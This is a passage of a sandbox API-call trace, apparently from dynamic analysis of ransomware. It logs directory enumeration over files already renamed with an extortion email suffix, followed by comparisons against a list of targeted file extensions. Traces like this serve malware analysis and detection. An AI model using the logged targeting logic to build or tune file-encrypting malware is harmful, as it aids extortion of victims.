	[0205.390] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81df54ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81df54ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81df54ba, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Rotate5.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RO8138~1.HTM")) returned 1
	[0205.391] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81df54ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81df54ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e19c83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Rotate6.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROF0A6~1.HTM")) returned 1
	[0205.391] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e19c83, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e19c83, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e19c83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Rotate7.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROEA08~1.HTM")) returned 1
	[0205.391] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81efea7e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81efea7e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81efea7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Rotate8.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RO089C~1.HTM")) returned 1
	[0205.391] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f24d73, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f24d73, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81f24d73, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Save.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SAVEIC~1.HTM")) returned 1
	[0205.391] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f4afc5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f4afc5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81f4afc5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Setup.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPI~1.HTM")) returned 1
	[0205.391] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f4afc5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f4afc5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8245bff5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="stop.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="STOPIC~1.HTM")) returned 1
	[0205.392] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81fe38d8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81fe38d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81fe38d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="SysReqMet.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SYSREQ~1.HTM")) returned 1
	[0205.392] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="SysReqNotMet.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SYSREQ~2.HTM")) returned 1
	[0205.392] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="warn.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WARNIC~1.HTM")) returned 1
	[0205.392] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="warn.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WARNIC~1.HTM")) returned 0
	[0205.392] FindClose (in: hFindFile=0x652958 | out: hFindFile=0x652958) returned 1
	[0205.393] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.393] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8226c094, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8226c094, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x822922be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="header.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="HEADER~1.HTM")) returned 1
	[0205.393] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x852fd145, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="netfx_Core.mzz.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~1.HTM")) returned 1
	[0205.394] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x836b000b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="netfx_Core_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~2.HTM")) returned 1
	[0205.394] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x821ad5df, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x821ad5df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d4cc65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="netfx_Core_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~3.HTM")) returned 1
	[0205.394] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x8699bbc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="netfx_Extended.mzz.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~4.HTM")) returned 1
	[0205.394] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8325dcb3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8325dcb3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83473d77, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="netfx_Extended_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NE10CD~1.HTM")) returned 1
	[0205.395] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x838d7db4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x838d7db4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83924334, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="netfx_Extended_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NEC3EF~1.HTM")) returned 1
	[0205.395] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x822922be, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x822922be, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x822b8545, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="ParameterInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARAME~1.HTM")) returned 1
	[0205.395] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bd2da1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83bd2da1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83bd2da1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="RGB9RAST_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RGB9RA~1.HTM")) returned 1
	[0205.395] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bf90a1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83bf90a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83bf90a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="RGB9Rast_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RGB9RA~2.HTM")) returned 1
	[0205.395] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e0efb8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83e0efb8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83e351af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Setup.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPE~1.HTM")) returned 1
	[0205.395] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e351af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83e351af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x842877c9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="SetupEngine.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPE~2.HTM")) returned 1
	[0205.396] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x84109fa1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84109fa1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8413026c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="SetupUi.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~2.HTM")) returned 1
	[0205.396] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828881e3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828881e3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828881e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="SetupUi.xsd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~1.HTM")) returned 1
	[0205.396] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8415864b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8415864b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847be9fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="SetupUtility.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~3.HTM")) returned 1
	[0205.396] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828ae3bc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828ae3bc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828ae3bc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="SplashScreen.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SPLASH~1.HTM")) returned 1
	[0205.396] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x847e4b7f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x847e4b7f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847e4b7f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="sqmapi.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SQMAPI~1.HTM")) returned 1
	[0205.396] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828fa8c4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828fa8c4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82920b18, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Strings.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="STRING~1.HTM")) returned 1
	[0205.397] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82920b18, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82920b18, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d007cf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 1
	[0205.397] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x829b9437, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x829b9437, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x829b9437, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="watermark.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WATERM~1.HTM")) returned 1
	[0205.397] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x86ea976b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~1.HTM")) returned 1
	[0205.397] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~2.HTM")) returned 1
	[0205.397] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x86ea976b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~3.HTM")) returned 1
	[0205.398] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x86e8a7c7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~4.HTM")) returned 1
	[0205.398] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x86e8a7c7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~4.HTM")) returned 0
	[0205.398] FindClose (in: hFindFile=0x652358 | out: hFindFile=0x652358) returned 1
	[0205.398] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0205.399] FindNextFileW (in: hFindFile=0x652898, lpFindFileData=0x3a3fcf8 | out: lpFindFileData=0x3a3fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0205.399] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x43e0048
	[0205.400] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName=".", cAlternateFileName="")) returned 0x6524d8
	[0205.400] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="..", cAlternateFileName="")) returned 1
	[0205.401] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="BCD", cAlternateFileName="")) returned 1
	[0205.401] lstrlenW (lpString="BCD") returned 3
	[0205.401] lstrlenW (lpString=".1cd") returned 4
	[0205.401] lstrcmpiW (lpString1=".1cd", lpString2="￿BCD") returned -1
	[0205.401] lstrlenW (lpString=".3ds") returned 4
	[0205.401] lstrcmpiW (lpString1=".3ds", lpString2="￿BCD") returned -1
	[0205.401] lstrlenW (lpString=".3fr") returned 4
	[0205.401] lstrcmpiW (lpString1=".3fr", lpString2="￿BCD") returned -1
	[0205.401] lstrlenW (lpString=".3g2") returned 4
	[0205.401] lstrcmpiW (lpString1=".3g2", lpString2="￿BCD") returned -1
	[0205.401] lstrlenW (lpString=".3gp") returned 4
	[0205.401] lstrcmpiW (lpString1=".3gp", lpString2="￿BCD") returned -1
	[0205.401] lstrlenW (lpString=".7z") returned 3
	[0205.401] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0205.401] lstrlenW (lpString=".accda") returned 6
	[0205.401] lstrcmpiW (lpString1=".accda", lpString2="") returned 1
	[0205.401] lstrlenW (lpString=".accdb") returned 6
	[0205.401] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1
	[0205.401] lstrlenW (lpString=".accdc") returned 6
	[0205.401] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1
	[0205.401] lstrlenW (lpString=".accde") returned 6
